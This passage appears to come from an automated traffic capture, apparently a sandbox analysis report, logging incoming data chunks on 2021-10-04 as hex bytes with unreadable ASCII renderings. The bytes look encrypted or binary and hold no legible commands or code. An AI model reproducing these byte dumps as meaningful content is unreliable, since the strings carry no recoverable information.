de df 4f 02 10 c1 87 0b f3 6c e0 99 45 bc 98 ec af 2f 93 48 d3 ab 22 d7 4e 3b 44 41 01 31 e0 e1 17 02 ef 32 54 3f c7 6b f8 
e0 07 8a 95 79 8f 54 61 86 2e 88 7d b5 1b 64 33 e5 a8 51 1b 47 ba 03 e1 35 d6 c2 28 6e 70 2d a6 a8 16 de 1b e7 7d e7 
e8 cc a8 a8 3d 12 73 fe aa f0 2c 69 e7 3b a2 b0 0f dd 4a 86 1c 33 99 dc db 9a ba c2 01 19 02 32 01 ee 22 c7 62 f6 fe e9 c1
0a 8b d8 70 3c b5 dc 2d 99 9e b4 eb f9 ce 25 2c bc ad 
Data Ascii: \sViHvU04v S'mv&APrae(r)DoV7ZSI|9k^]+]:LOlE/H"N;DA12T?kyTa.}d3QG5(np-}=s,i;J32"bp<-%,

2021-10-04 18:06:38 UTC 164 IN Data Raw: 0e 99 91 69 a1 ce 5f 36 c7 90 a5 42 1d c0 9c 4d 7f 69 89 da 9f 58 8c d9 e7 57 91 3f e1 9f 12 8c b0 7e 85 4f 0c 
e5 b8 ff be c8 62 2f 59 f2 cd 19 87 d4 3a 10 f1 0e 1a 3f 4e 56 86 30 69 6d 45 c5 a0 82 8f 23 98 10 be a0 44 6b 47 35 b6 5d 
80 96 62 c0 43 56 bb 91 09 f4 5e f8 68 53 ad c7 4e 8c 76 e7 59 1c a0 e9 b8 7c 37 d7 f4 4e 9a cb 0e 12 21 fe e8 87 0c f6 
bd 66 d4 89 f4 05 29 d1 d0 09 09 bd 9c 73 47 13 66 0d c8 cd 5a c5 9a b5 c7 09 c5 2a cf 77 9d 8d 53 a4 82 e9 97 a7 92 f1 
fe 68 4b ce b3 89 46 a0 95 68 94 6f 9f 99 ed 4f a6 60 dd d7 c5 e0 15 a6 1d 14 0f c8 a3 9c 51 cd 71 96 6e 65 25 22 0e be 
f2 23 a2 45 14 8f cf 88 63 9b f3 7a 66 38 26 56 25 37 70 d8 a5 20 9b c6 38 83 c5 c0 78 1d 9f 6f 65 d5 65 7a d4 3f e9 5f 1f 
0e 37 ef 94 d6 9d 46 c7 b8 9b d4 89 92 33 d8 25 
Data Ascii: i_6BMiXW?~Ob/Y:?NV0imE#DkG5]bCV^hSNvY|7N!f)sGfZ*wShKFhoO`Qqne%"#Eczf8&V%7p 8xoeez?_7F3%

2021-10-04 18:06:38 UTC 165 IN Data Raw: e3 5e 82 eb d1 85 e1 e5 05 88 33 b2 20 7b 68 c9 c1 fd 81 4c 14 f2 a3 15 0b 3b e6 da a7 f0 e4 8a 01 33 57 7b 
64 8d e2 14 5a c3 a9 ed e2 f1 64 22 4c 7c 21 69 ac ea d5 1b 4f 5d 7e 3f a8 27 4e 40 b5 9b e7 63 89 61 32 6f b0 1a 60 85 
21 77 65 15 b1 f8 26 12 8a df 9e c9 f6 24 43 f5 42 15 9f 18 43 cc 37 60 a4 99 22 79 95 91 3e 26 4f a8 51 62 4a 39 f4 0d 61 
fe e3 19 88 35 7d 0b 91 d2 73 04 40 89 83 68 f8 8e d8 46 1c 2a a1 0e b3 4a 4b df 3a 92 16 bc 58 4a 63 2d 85 78 48 26 db 
db 05 98 e0 85 6f 8b 87 1f 83 fd cb 60 4a 8a 50 af 4c 94 f7 79 5a 93 0e d3 dd d7 d8 46 21 53 d8 7d 44 21 fb 5e 0c e0 ce d1
a3 16 bd 8b d5 91 ef b4 4e de 01 1c fa f4 28 71 17 00 1c 24 f2 07 59 e4 68 4d 3a d7 bd c8 ba ef 8e 85 d7 f6 f9 db 95 17 c4 
20 18 c1 70 0a b2 d6 fc f2 54 83 51 e7 18 6c c5 
Data Ascii: ^3 {hL;3W{dZd"L|!iO]~?'N@ca2o`!we&$CBC7`"y>&OQbJ9a5}s@hF*JK:XJc-xH&o`JPLyZF!S}D!^N(q$YhM: 
pTQl

2021-10-04 18:06:38 UTC 166 IN Data Raw: 5c 4a c9 5b b6 42 52 ed af 1d 14 e4 46 c1 1a 9c 0e ff 7b 43 19 17 a6 ff 1c c9 14 61 80 11 2a fa 13 6f 4c 61 b0 
25 1b cf 29 95 dd 93 cf 4d 47 39 98 f4 64 05 41 dc a4 a8 ad 19 fd fa 4c 9b 2b 7a 78 24 ae fa 1a 92 f7 85 8a da fb ad 8b d4 
31 ca 73 85 18 8e c7 8f 5f 7f a9 64 ce 8c 1f a4 f4 5d 50 a7 15 e0 a4 d6 8c bd 83 84 74 fb fe b5 a9 92 94 31 33 4a 7a 86 c3 
3e cf 82 df a1 d4 c3 3f f6 ea d0 cd aa 6a fd 5b be bf c1 23 8b 47 cf 1a ce 6c fa 84 c2 1d 6d 96 df 0d 34 ed 4c 96 b4 fe 59 c5
26 47 be 02 09 11 f8 e0 9b fa fd a9 55 7c f5 eb b0 5e 78 cc cc ae 35 68 b3 87 1f d6 fa ac 65 88 33 26 7f 6c 26 0f ce 9e ca 
f2 83 13 a1 2e 9e 4d 14 55 5c 01 90 8c 33 2a 08 55 cb 0d 9c a3 45 3d c7 b0 fb e6 39 4a 1d 4c 4e 80 80 93 c3 2c 0a fa 59 
a7 bb ce 9b 77 1a f1 92 60 dc 33 db 37 
Data Ascii: \J[BRF{Ca*oLa%)MG9dAL+zx$1s_d]Pt13Jz>?j[#Glm4LY&GU|^x5he3&l&.MU\3*UE=9JLN,Yw`37

2021-10-04 18:06:38 UTC 167 IN Data Raw: 36 6c 1e e6 a7 25 4c 41 3a 17 96 4d 0c cf a7 5b 86 db 03 ec 86 6f 92 3a ff af a2 70 7d 9e bc 5c 33 1d 4f 44 a5 
0c 44 e3 78 ea 10 83 96 37 6e 1f 69 2f 14 6d 38 5c 3f ef 69 65 d1 59 b3 79 86 ab a2 e9 e2 6d 93 95 61 d8 ec 05 b9 d3 b4 
e1 72 04 d2 b3 83 36 cc fe aa a0 ee 83 db 15 12 a2 04 8b ac f1 f3 32 e0 8c 1f 02 3e b9 4e 64 1a e3 04 49 da 5e 3a 91 fe 
65 33 6c 9d 20 64 8e fb c4 e4 49 6c fc 2c ab e3 8b 75 b7 8a e7 2d 9f 64 f3 69 3c 8f 62 96 db 43 65 5b 96 e8 35 0b 46 3e 
08 c6 f7 35 d3 1c 45 18 9d 09 55 a4 a2 6c 0f 8a 21 8f 9c a6 3c 37 4f 67 40 72 df 29 72 65 60 ee a1 23 88 c8 74 1b 85 c3 
84 9d 2d 9a 82 79 4b 98 cc 56 1e 3b b0 c7 75 5b cf ce 39 6f d7 9a 5a 5b 63 da 95 6b 04 30 3d 5c 12 88 22 b8 6f 14 85 12 
90 ec 5c f6 a3 9f 51 be 04 2d f6 5d 58 82 1f 20 29 c6 
Data Ascii: 6l%LA:M[o:p}\3ODDx7ni/m8\?ieYymar62>NdI^:e3l dIl,u-di<bCe[5F>5EUl!<7Og@r)re`#t-yKV;u[9oZ[ck0=\"o\Q-
]X )

Timestamp
kBytes
transferred Direction Data
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2021-10-04 18:06:38 UTC 169 IN Data Raw: e7 6e 1e 33 74 85 77 d9 85 0b 0b bd 0d dd 9b 23 a8 e8 14 14 84 e2 d4 27 40 9b 17 9a 9b 5b 76 06 78 ec 22 
69 cd 35 72 6d 3b 83 32 0e 9d 3b 4d 2c 73 37 f2 f6 aa b1 d9 8c 58 a2 d9 2b 14 53 d7 bc fa c4 70 82 3f c7 db 6b d1 c9 7a 
ae 53 53 76 8e 1b 02 73 d0 cd 40 90 2f 08 f9 c8 1b 31 a6 68 0b d9 81 46 e8 8b 0a e9 2d ce 4c f6 b1 28 0f ec d4 0b d6 db 
ef 4c cf 29 99 c5 47 04 57 2b 3d 9b 18 15 df 6d a1 8a 0a 7b 78 d3 be 6c ac 92 6a 1f a9 91 b5 23 8b 43 30 c7 67 84 8f 18 
76 91 7f 7e 39 1b c8 9f 1d a2 e2 ca c6 90 f8 ec 86 21 2e 3a 81 85 74 3f ee b8 3c 95 7a 41 16 59 e4 5b 43 a9 ce 3a ed f7 
c3 35 3d 40 ea 86 25 e2 6b 45 78 b8 af bc 6b 9f 0a 92 b9 59 d9 65 a7 94 9d 9a 96 7a 1b 47 7e 88 b4 09 dd d2 c3 5b 41 ad 
16 5f 06 6e dd 57 fa ab 6d 2c 7a 37 c8 e6 cf bc 5a 0f 0b 3d 
Data Ascii: n3tw#'@[vx"i5rm;2;M,s7X+Sp?kzSSvs@/1hF-L(L)GW+=m{xlj#C0gv~9!.:t?<zAY[C:5=@%kExkYezG~[A_n
Wm,z7Z=

2021-10-04 18:06:38 UTC 170 IN Data Raw: 0f 7f 03 50 b8 cc b1 00 dc aa 1a f2 39 20 e2 64 c2 ee 21 7d 7d 9c 7c 44 6f a1 db 39 ff dc b2 20 fe 7e 23 10 16 
fa a5 4e af 71 5d bd 0b 74 2d 95 f3 10 3b 69 e2 4a fe 33 eb 4c 0f 36 2a b4 47 82 62 e0 ed 34 07 62 e9 1c fb b3 45 a6 27 
4c d9 0b 17 65 4f fc df 8d cc b7 76 02 ee 86 db a3 3a 16 ba 52 67 4f ab 2d 8c 33 1f 4f f8 94 0c 59 e0 88 f8 32 b2 a4 63 6e 
1d 69 9b 25 6d d4 4a cf f8 5b 50 48 8e b3 7b 86 b3 92 e9 b3 6e 63 95 53 e3 89 46 b9 d1 b4 e1 61 04 fb 24 73 31 c6 69 6f 
04 ec 81 db 15 01 a2 7f 08 5c f6 f9 a5 a9 22 1d 00 3e 55 79 64 49 f4 f4 49 f8 a9 5a 2d fc 66 33 4c ab 20 c1 ad 0b c4 c6 49 
d5 b0 2e a8 e3 4f 43 b7 7d e1 1b 9f 46 30 82 7d 8d 61 96 23 75 65 cc b7 b1 31 29 8a f9 51 c4 f4 35 43 29 45 cb 8a f9 52 
8e 35 39 69 88 22 8f 94 92 3c d8 4c 97 47 58 48 
Data Ascii: P9 d!}}|Do9 ~#Nq]t-;iJ3L6*Gb4bE'LeOv:RgO-3OY2cni%mJ[PH{ncSFa$s1io\">UydIIZ-f3L I.OC}F0}a
#ue1)Q5C)ER59i"<LGXH

2021-10-04 18:06:38 UTC 171 IN Data Raw: a2 d2 04 15 73 7f 80 ac 20 a9 ff 8c a3 5f 15 83 77 14 3c e2 bc c0 d3 60 81 00 2c 2c 02 e5 10 b5 0c dd 62 14 eb 
be ed 72 8e ea 55 a8 88 c7 2d de b2 e8 cd d6 cc 47 31 4c b7 86 49 01 a1 c1 54 82 d2 03 d8 7a 30 6f 38 32 a4 13 2e 74 
85 71 d1 fc 8d af a3 1c 4a 7e 1d a4 f6 14 14 82 ea 42 bb f0 90 05 0d 82 68 7a 19 78 ec 24 61 62 a9 c7 66 29 74 15 2c 91 
1a 4d 2c 15 34 20 70 11 ba ca 1b 7d bd d5 0a 14 53 d3 a4 cf 61 cb 8c 2a 50 6e 63 dd e8 7a b6 d3 5b 58 a7 3e 10 44 47 
24 26 9c 0e 08 7d 48 13 7d 8f 96 1c ee 16 b3 be 87 2b e9 11 4f 44 83 9c db 04 d4 29 2a e3 d9 cd 4c 47 a8 91 54 6a f9 5c 
13 a2 ad b1 19 fd 6d 4d 0b 02 5a 53 20 b5 55 3b fb c8 13 8b 91 f9 ad 83 75 1b 3a 6c bd 18 6d f9 9d 5d 7e a9 95 c0 d4 36 
51 e9 f0 51 39 09 e0 a4 21 8a b6 89 da 5f c2 e2 82 ab 20 ad 
Data Ascii: s _w<`,,brU-G1LITz0o82.tqJ~Bhzx$abf)t,M,4 p}Sa*Pncz[X>DG$&}H}+OD)*LGTj\mMZS U;u:lm]~6QQ9!_ 

2021-10-04 18:06:38 UTC 173 IN Data Raw: a1 3f a2 40 14 81 cf 1f 63 1f ec 63 61 c3 73 4a 25 31 70 c8 a5 bd 9b 61 27 43 c4 e8 2e 6d 9d 55 65 ad 65 e0 d4 
92 f6 ff 19 6e 61 9f 96 ea 9d 3e c7 4d 9c 6e 96 01 32 04 73 58 f3 7b 52 4c 43 6f 12 62 88 87 56 b9 ba 1f 59 03 50 b9 cc 46 
86 96 9b 6d 65 d4 c2 f0 42 c2 3e 9a 7d ea 9d a5 52 38 36 ce 09 f5 f6 b2 5c 46 7e b4 11 38 e8 f2 73 f7 ef 4d 97 0b 88 eb 95 
37 11 51 72 b5 83 2c 58 fe 66 0f 1e ee b4 d0 83 0e d3 ba b1 db fd f9 36 fb 1f 81 a6 d0 4a 0e 0b 40 96 b9 7c cf a7 cc 87 b3 
02 19 80 75 b5 6d ff e3 d3 77 65 ab 99 49 2b 2a 6a 38 87 5b 44 57 5a e9 18 b2 9c a1 76 28 4c 88 36 3a 38 58 4d e8 71 
50 f4 5c b3 ec 87 dc 82 be e2 89 e0 85 79 e3 c9 85 a1 e4 91 f2 72 53 d2 c7 f0 21 ec 69 ab 87 e6 ad d2 30 16 f5 04 3f d8 
e6 d3 a5 e1 a0 1f f5 35 70 6e 33 1a 57 26 58 d2 
Data Ascii: ?@ccasJ%1pa'C.mUeena>Mn2sX{RLCobVYPFmeB>}R86\F~8sM7Qr,Xf6J@|umweI+*j8[DWZv(L6:
8XMqP\yrS!i0?5pn3W&X

2021-10-04 18:06:38 UTC 174 IN Data Raw: a3 58 ba 9e cf b5 ca 9a 5a a9 03 89 49 62 29 44 15 17 1c 5a e6 04 5b 8f 68 08 8c c6 bf d9 ba 05 98 02 d4 c8 
5e 36 94 2e 70 77 98 36 76 35 b0 77 7a 25 55 c0 53 a1 ae fa c4 28 f9 7d ed 2b af 9e 22 78 bd f9 59 e9 a6 a2 f2 3f 14 b7 
7e 93 aa 53 6f b7 18 a3 70 15 d7 4b 15 72 e5 f5 c7 a0 82 ad 25 2e 03 02 85 2b b4 fb db ac 16 98 b3 bb c5 8b da 55 3c b4 
c6 ba df 55 e7 be ff 7a c6 2c 7c b7 26 72 18 94 e4 47 84 a1 6e 7e 23 36 5e 38 e6 8f 12 b9 75 63 75 a2 85 ab ca af 2d 4a 
9a 31 a5 01 12 7b 87 99 d4 6f 81 8c 37 0d 9a 47 7b dd 79 0a 20 12 cd 29 b0 7a 1b 74 34 03 90 54 4a ca 71 4c f2 f6 69 a6 
f9 1b 59 95 d4 9d 15 13 ff c7 fa e4 b4 90 1f 50 da 4c c4 d3 5f 30 d5 28 76 3a 39 14 73 47 cc 1e 85 3b 2d 6e 4e 60 31 0a 
ad 1c d9 16 47 86 8e d7 f2 58 48 37 f6 51 ed 18 ec 29 02 
Data Ascii: XZIb)DZ[h^6.pw6v5wz%US(}+"xY?~SopKr%.+U<Uz,|&rGn~#6^8ucu-J1{o7G{y )zt4TJqLiYPL_0(v:9sG;-
nN`1GXH7Q)

2021-10-04 18:06:38 UTC 175 IN Data Raw: 09 9f bd 75 67 a1 10 1b 0d 46 30 5b 52 9b 22 50 0c d8 28 29 74 e0 8d f9 59 83 1e 91 30 05 e4 12 7f ad ce ce 
89 81 4d 94 ac 95 f8 08 84 bc 4d 40 61 a0 d2 26 1d 14 31 1c 14 99 d5 8a 8e b7 c7 0c 93 92 98 24 2c 0e be 64 3e d9 43 f2 
82 b2 88 7a 75 f2 34 61 af b1 4b 76 26 96 cb d8 2a ae 38 39 14 c4 c0 ee 6c 38 56 83 ae 18 77 9a c1 e8 a8 19 0e a1 9e 45 
fd 7b 3d ba ba f1 2a 88 56 32 d8 b3 59 1c 78 b4 4f 3e f8 94 4a 96 d0 56 e9 4f 1e 8d 1a b6 ba b1 b1 22 22 ba 3a 65 38 3e 
f1 5b c6 d8 9e 00 7d 22 82 56 6f 36 da f1 f4 f9 a9 ba 42 03 23 ca e8 e8 a5 73 bb 17 4c d4 0f 6e ef e8 f3 e6 c5 7b e2 83 fc 
a0 ff 84 10 f8 ea c9 47 90 9d f2 ed b1 13 04 f8 41 ff f9 85 db 27 61 26 19 17 96 4d 9a ce ab ed 61 b7 7f ee ce 24 b1 3a ff af 
34 76 c4 af 7f 4d 4e 1f 2c 07 86 0c 44 e3 ee e9 
Data Ascii: ugF0[R"P()tY0MM@a&1$,d>Czu4aKv&*89l8VwE{=*V2YxO>JVO"":e8>[}"Vo6B#sLn{GA'a&Ma$:4vMN,D

2021-10-04 18:06:38 UTC 176 IN Data Raw: 9b db 98 67 7b 85 b3 47 51 1c 3b a1 c7 27 5a b0 c8 dc 6d 62 b1 fd 5c 61 da 83 6b dc 37 10 5f f7 8a 9f 94 ac 13 
87 12 81 ec 5d f7 1b 9b b4 bc 31 03 28 5a 5a 82 0e 20 49 c7 22 56 c7 c6 a4 4f bc 37 f9 9a 0d f3 5a c0 72 5f 5c 9a aa 80 fa 
81 58 d3 03 0d 6c 63 43 46 f3 13 61 cd d6 1f 59 f5 68 50 af c7 40 d0 5c 01 e5 95 99 a8 7b 4c 94 2e 50 76 39 34 90 31 cd 
80 14 3e 57 ba 53 f1 8e fb fb 3c 1f 79 90 bc 2a 1e 37 02 bd 79 77 e8 6d a0 14 3b 69 73 df 88 a8 28 6f e7 34 a2 f7 01 31 48 
68 3c 59 b4 c4 db 82 99 0e 2f f6 00 63 2f c9 0c 0a 6a 10 e3 b3 ef 93 8a 31 40 da b7 bb 2d 2c ba ec c5 ff ce 72 2c 63 b4 c0 
76 7d a1 cf 5d 86 da 6e de 75 37 b0 2e 00 9b 6f 2e 5e 8c 75 d9 85 8b 9d ae 7e 49 7c 22 d8 f6 52 1d 86 e2 d4 a7 d6 8d 1c 
1a 7c 54 06 19 19 e5 20 69 cd b5 e4 7b 66 77 
Data Ascii: g{GQ;'Zmb\ak7_]1(ZZ I"VO7Zr_\XlcCFaYhP@\{L.Pv941>WS<y*7ywm;is(o41Hh<Y/c/j1@-,r,cv}]nu7.o.^u~I|"R|T 
i{fw

2021-10-04 18:06:38 UTC 178 IN Data Raw: 7f 2f 84 30 6e 55 56 7a b8 b9 bc b3 98 89 9c 7c 5b 10 47 c7 87 9f 9a 90 62 b8 62 51 b9 71 0b a0 5f 41 48 43 
ad 00 5f 07 6f e6 5f 3f a9 54 a2 de 24 ca e6 de bc 5b 0e 9c 01 88 cc fc 0c 12 bf 2e f2 89 f4 93 29 dd d7 ef 0b c0 9c 9a 54 
10 66 0d c8 5b 5a d9 a9 c4 c4 71 c5 21 db 74 9d 8d 53 32 82 45 97 d6 91 99 fe 45 5f ce b3 89 47 26 95 58 a1 1e 9c f9 ed 
00 b2 61 dd d2 c4 76 15 78 1d f2 0d a8 a3 e9 45 c7 71 93 6f f3 25 a4 08 58 f0 43 a2 d2 00 82 cf 88 62 1d f3 a8 60 49 25 
36 25 85 64 cb a5 2a 9a 50 38 e8 
Data Ascii: /0nUVz|[GbbQq_AHC_o_?T$[.)Tf[Zq!tS2EE_G&XavxEqo%XCb`I%6%d*P8

2021-10-04 18:06:38 UTC 178 IN Data Raw: c2 26 7a 11 9d 83 71 ae 65 77 d5 a9 e9 66 18 e8 35 e3 96 12 89 3d c7 ba 9a 42 89 05 35 3e 27 24 f3 61 47 4f 
43 f8 13 22 97 2b 57 0f db 63 59 3f 45 ba cc b1 80 4a bb ee 62 de aa 8c 42 9c 2b 9e 7d 7d 9c ea 57 18 34 3c 65 89 f6 32 
49 42 7e 23 10 80 e9 a7 79 5d 83 31 97 a9 9d ef 95 f3 10 ad 7a 46 81 1a 34 82 66 cb 0b ea b4 47 82 f4 f3 af a5 f5 90 85 
36 1d 0a 85 a6 27 4c 4f 18 d9 94 ab 0e b3 a7 c4 91 b7 02 ee 86 4d b0 b0 eb 49 a0 0b 65 81 8f 4d 33 1f 4f 6e 87 f4 46 05 
7a 94 18 fe 8a a5 6e 1d 69 0d 36 83 2d ba 3d 94 71 3e e2 48 b3 7b 86 25 81 cb e1 8b 91 f9 79 73 df 81 b9 d1 b4 77 72 f5 
c4 d5 81 5d ec db bd c3 ec 81 db 83 12 f4 07 ed ae 9a d3 76 f7 e6 1d 00 3e c3 6a 4a 0d 05 06 25 d2 5c 0c e6 fc 66 33 da 
b8 a0 67 48 f9 a8 ec 5e 5a 7e 2e a8 e3 d9 50 ef 9d 01 2f 
Data Ascii: &zqewf5=B5>'$aGOC"+WcY?EJbB+}}W4<e2IB~#y]1zF4fG6'LOMIeM3OnFzni6-=q>H{%yswr]v>jJ%\f3gH^Z~
.P/

2021-10-04 18:06:38 UTC 179 IN Data Raw: 3b ba bf d3 9b 01 98 95 d5 36 79 73 a5 c8 c4 0b 98 1a 57 31 b0 80 7c a0 55 b0 55 17 1a 86 c4 65 d8 79 ed bc 
ae 80 35 16 8f 9f e3 95 a6 cd d3 3b 14 73 7f 16 aa 1c 69 01 a0 df 70 84 f6 48 15 3c e2 2a c6 4c b0 7f 9a 52 03 b1 a4 2f b4 
0c dd f4 12 bd b5 09 07 f7 da 81 1d b7 c6 2d de 24 ee 32 cb 28 e6 51 7c 42 07 76 00 a1 c1 c2 84 96 6f 38 e1 4a 5e 2f c4 
9b 12 2e 74 13 77 52 83 6d 09 d3 2d 73 b8 22 a5 f6 14 82 84 7d d5 41 42 f0 37 56 b8 54 7b 19 78 7a 22 96 cb 53 70 06 1b 
09 16 10 90 1a 4d ba 73 e6 f3 90 a8 da f9 84 7b 81 d4 0a 14 c5 d7 ea fd a2 72 ec 1f 91 f8 5f dc e8 7a 20 d5 ad 77 68 19 
69 73 a5 ee 1a 9d 0e 08 eb 4e cc 36 40 6a 60 d9 15 64 82 86 2b e9 87 49 36 f4 57 2a 64 ec 0d 21 de d8 cd 4c d1 ae 9c cf 
a1 06 3c 2b e4 ba 8c 18 fd 6d db 0d ad 79 9e d1 d5 6c 
Data Ascii: ;6ysW1|UUey5;sipH<*LR/-$2(Q|Bvo8J^/.twRm-s"}AB7VT{xz"SpMs{r_z whisN6@j`d+I6W*d!L<+myl

Timestamp
kBytes
transferred Direction Data
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2021-10-04 18:06:38 UTC 180 IN Data Raw: 1e db 1d 91 e4 fe 69 dd cc 58 8d a1 b2 e8 ac f9 d5 9c 84 ed 4e 30 63 10 f3 22 e2 68 31 92 39 0d d5 a3 99 c7 
c5 6d 96 89 67 58 2c be 93 f0 3e a2 40 82 80 01 ad 84 89 8e 34 b3 82 25 4b 25 31 e6 c9 e3 2f 7c c4 45 14 30 ed 7a 6c 9d 
55 f3 ac 70 5a 33 3d 94 a8 0c 20 35 9e 96 ea 0b 3f b7 bf 7c d6 f4 56 04 f6 27 59 f3 7b c4 4d ad c8 f5 b6 ea d0 01 c7 db 1e 
59 03 c6 b8 64 b4 66 de c6 3a 1d 16 aa f1 42 c2 a8 9c 65 4c 7a 7e 2a 6f ac f4 65 f4 f6 b2 ca 40 ac 26 f6 14 94 a5 cf 95 83 
4c 97 0b 1e ed d7 c2 f6 39 07 e2 5d d2 34 ff 66 0f 88 e8 b9 41 64 60 8e ed 4e 3d 90 f8 36 fb 89 87 b1 15 aa db 65 17 b7 
62 0e ce a7 cc 11 b5 35 e8 60 d9 cd 3a bc 80 a0 76 65 ab 0f 4f 93 2d a9 fa fa 0c 20 cc 7a e9 18 b2 0a a7 0f 1b 8f 99 4b 6d 
be 73 3d e9 71 50 62 4a 49 4f 60 b1 fc e9 45 42 
Data Ascii: iXN0c"h19mgX,>@4%K%1/|E0zlUpZ3= 5?|V'Y{MYdf:BeLz~*oe@&L9]4fAd`N=6eb5`:veO- zKms=qPbJIO`EB

2021-10-04 18:06:38 UTC 182 IN Data Raw: 52 48 37 db 5e 87 88 d2 8d 89 16 f8 12 17 d5 c9 f7 4b 9c c4 be 5e 07 10 5f 25 82 b6 19 dd c7 da 57 b7 c4 1d 
55 a0 32 86 9a d7 ca ce c0 a3 58 2c 98 eb 84 09 8b 27 d3 ff 34 f8 63 29 44 83 11 9a d6 01 15 26 f5 76 6a 3b c7 bf d9 2c 
03 e8 91 33 a2 04 4c ab 14 c4 76 98 36 e0 33 a6 a0 9a 34 28 ba 33 cb 1a fb c4 28 6f 7b 77 b8 48 14 48 02 3c 43 e3 e8 a6 
a2 64 39 22 52 99 82 d7 28 cd dd a0 a2 70 15 41 4a d1 38 04 be bb db 46 a3 9a 2f 03 02 13 2d d2 2d 3b 60 6f e3 56 d5 07 
8a da 55 aa b5 28 29 38 b0 93 c5 f9 f5 e6 2c 7c b7 b0 74 83 85 27 56 f9 da 49 e5 e1 37 5e 38 70 99 0d 2b 92 87 0a d9 cd 
b0 09 ae 2d 4a 0c 20 5f d1 f2 16 f9 e2 bd 9c 42 8d 37 0d 0c 56 32 1c 9e ee 5f 69 47 8e 70 7b 1b 74 a2 12 3a 37 ab 2e 0e 
37 59 4d a8 a7 f9 1b cf 83 a7 0f f2 51 aa bc 36 7f 72 91 
Data Ascii: RH7^K^_%WU2X,'4c)D&vj;,3Lv634(3(o{wHH<Cd9"R(pAJ8F/--;`oVU()8,|t'VI7^8p+-J _B7V2_iGp{t:7.7YMQ6r

2021-10-04 18:06:38 UTC 183 IN Data Raw: 62 6d 88 01 09 32 5d 25 59 3c ad c8 1a 93 6f e1 59 4f ab 98 b6 9c 35 b5 e6 34 f9 cf 0e 8d 33 f8 ce 98 0f 32 ae 
51 f2 85 b2 07 29 ec d1 9f 09 af 8a 94 45 6f 66 20 8e cf 5a 52 9b b4 c6 41 c6 cd cd 0b 9d c3 15 a6 82 1e 91 a6 93 f6 e9 8f 
49 b1 b3 e6 01 b2 95 ac 95 6e 9e f3 ee a8 a4 1e dd 42 82 e2 15 31 1c 82 0f 9a b4 7f 53 b8 71 21 29 67 25 2c 0e 28 f2 9f 
a1 a6 16 fd cf 5c 24 89 f3 34 61 39 27 f6 32 d7 72 b4 a5 dc dc c4 38 14 c4 56 78 87 9e b3 67 d1 65 6f 92 3d e9 a8 19 98 
37 ad 8f 0c 9f 42 c7 80 dd d6 89 56 32 4e 25 4c f7 9d 50 30 43 a4 54 b6 97 d0 56 7f d9 d9 43 e5 52 c5 cc cc c7 de bb 3a 
65 ae a8 ce 46 24 3c e1 7d e2 db 7e 57 6f 36 4c 67 7d ed 54 5e 3d 7e e2 57 14 e9 a5 73 2d 81 3f 93 ed 8a 90 95 10 57 39 
7a e2 83 6a 36 0e 46 e9 1c 95 b4 42 ca 60 f3 ed b1 
Data Ascii: bm2]%Y<oYO5432Q)Eof ZRAInB1Sq!)g%,(\$4a9'2r8Vxgeo=7BV2N%LP0CTVCR:eF$<}~Wo6Lg}T^=~Ws-?
W9zj6FB`

2021-10-04 18:06:38 UTC 184 IN Data Raw: 24 95 8a 85 99 22 f6 48 43 cd 14 1a 9d 09 43 32 35 ad a7 6e 20 f2 94 98 6e 35 4f 67 56 e4 48 69 f3 83 61 93 
e1 33 da ca 74 1b 93 55 73 69 43 7f 83 04 f8 ef 9e 54 1e 3b a1 51 b1 2d 4e 28 38 12 1f cf 08 59 63 da 83 fd 4a 53 d9 b8 
13 f5 e2 0b 3d 16 85 12 81 7a cb d5 42 7a 50 c3 4c c2 a4 5f 58 82 0e b6 df 5c d8 b1 23 b9 d9 ad 14 32 fb 9a 0d 65 cc 8b 
a8 be b8 e5 d7 83 bc 8b 5a d3 03 9b fa ab 2b a2 17 6c 1c e9 b4 15 5b f5 68 c6 39 43 ab 3f b8 7e 98 d0 86 a2 79 4c 94 b8 
c6 84 9a d0 74 4e b0 e7 2f 34 55 ba 53 67 18 4f d0 ce fb 06 ed 34 fd 14 35 02 bd ef e1 f4 a5 44 f0 44 14 da 2c 82 aa 28 6f 
71 a2 b7 66 f3 d5 37 15 f7 b1 be c6 db 82 0f 98 7f 00 e4 87 50 b4 e1 8e 60 12 e3 b3 79 05 9f cd b3 3e c8 c6 23 8a b0 ee 
c5 ff 58 e4 56 7f 51 24 09 00 8e 95 56 84 da 6e 48 e3 
Data Ascii: $"HCC25n n5OgVHia3tUsiCT;Q-N(8YcJS=zBzPL_X\#2eZ+l[h9C?~yLtN/4USgO45DD,(oqf7P`y>#XVQ$VnH

2021-10-04 18:06:38 UTC 185 IN Data Raw: 18 97 c3 7a 5f 03 a9 bf 96 9d 1d a2 f4 5c 51 9d 07 07 a6 5c 8a fe df 87 74 3f ff 2e ab 52 97 aa 37 24 78 a0 1d 
ab ce 3a fc 61 54 02 08 a8 cb fb 4d fc 35 47 78 b8 b9 2a 25 99 43 7f 98 24 6d f3 f9 96 9d 9a 90 f4 2e 68 5f 6e 95 74 dd 8a 
9d 59 41 ad 00 c9 91 44 e7 bf db d6 29 54 24 35 c8 e6 de 2a cd 5c bf d5 6c b3 81 14 8b ae 2c f2 89 62 05 7c ea 37 0b 74 
bd a6 2d 45 12 66 0d 5e cd b4 66 7d 20 bb 0c 99 74 cd 76 9d 8d c5 a4 02 1f 77 32 ee e4 80 36 49 cc b3 89 d1 b0 3a aa 73
fa e3 84 4d 11 a4 63 dd d2 52 e0 d6 30 fa 16 72 d5 61 c6 53 c5 71 93 f9 65 61 2b e8 bc 8f 3e 41 1f 16 80 cf 88 f4 8b 06 35 
87 ad 5a 4b 21 51 72 c9 a5 2a 0c c6 42 13 22 c2 05 6c bb 35 67 ac 65 77 43 3f 8e aa ff 0c 4a 9e de 8a 9f 3f c7 ba 0c d4 
ac 5f d4 da 58 59 99 1b 50 4d 43 f8 85 b4 09 d2 
Data Ascii: z_\Q\t?.R7$x:aTM5Gx*%C$m.h_ntYAD)T$5*\l,b|7t-Ef^f} tvw26I:sMcR0raSqea+>A5ZK!Qr*B"l5gewC?J?
_XYPMC

2021-10-04 18:06:38 UTC 187 IN Data Raw: 81 e1 ec 5c 84 d2 ec 90 da 6b 07 a1 07 12 ad 4d f8 af e2 fd 1c ea 0d 5a 69 4d 1b 49 2f 52 d1 98 1b b7 ea bd 
31 85 b8 5e 43 b8 f8 1c ec 32 41 60 2d 91 e2 f9 5c fe 8b 2e 2d 1a 75 23 7e f1 8c de b2 01 65 24 5a 1b cc a2 03 a3 28 55 
d4 dc 36 6a 3b db 2b b0 0a 6a a5 9e 4a 92 8b 73 8e 30 a2 00 34 96 67 e5 40 08 2b 2d 65 01 fd a6 0b 51 c8 18 0b 80 c3 
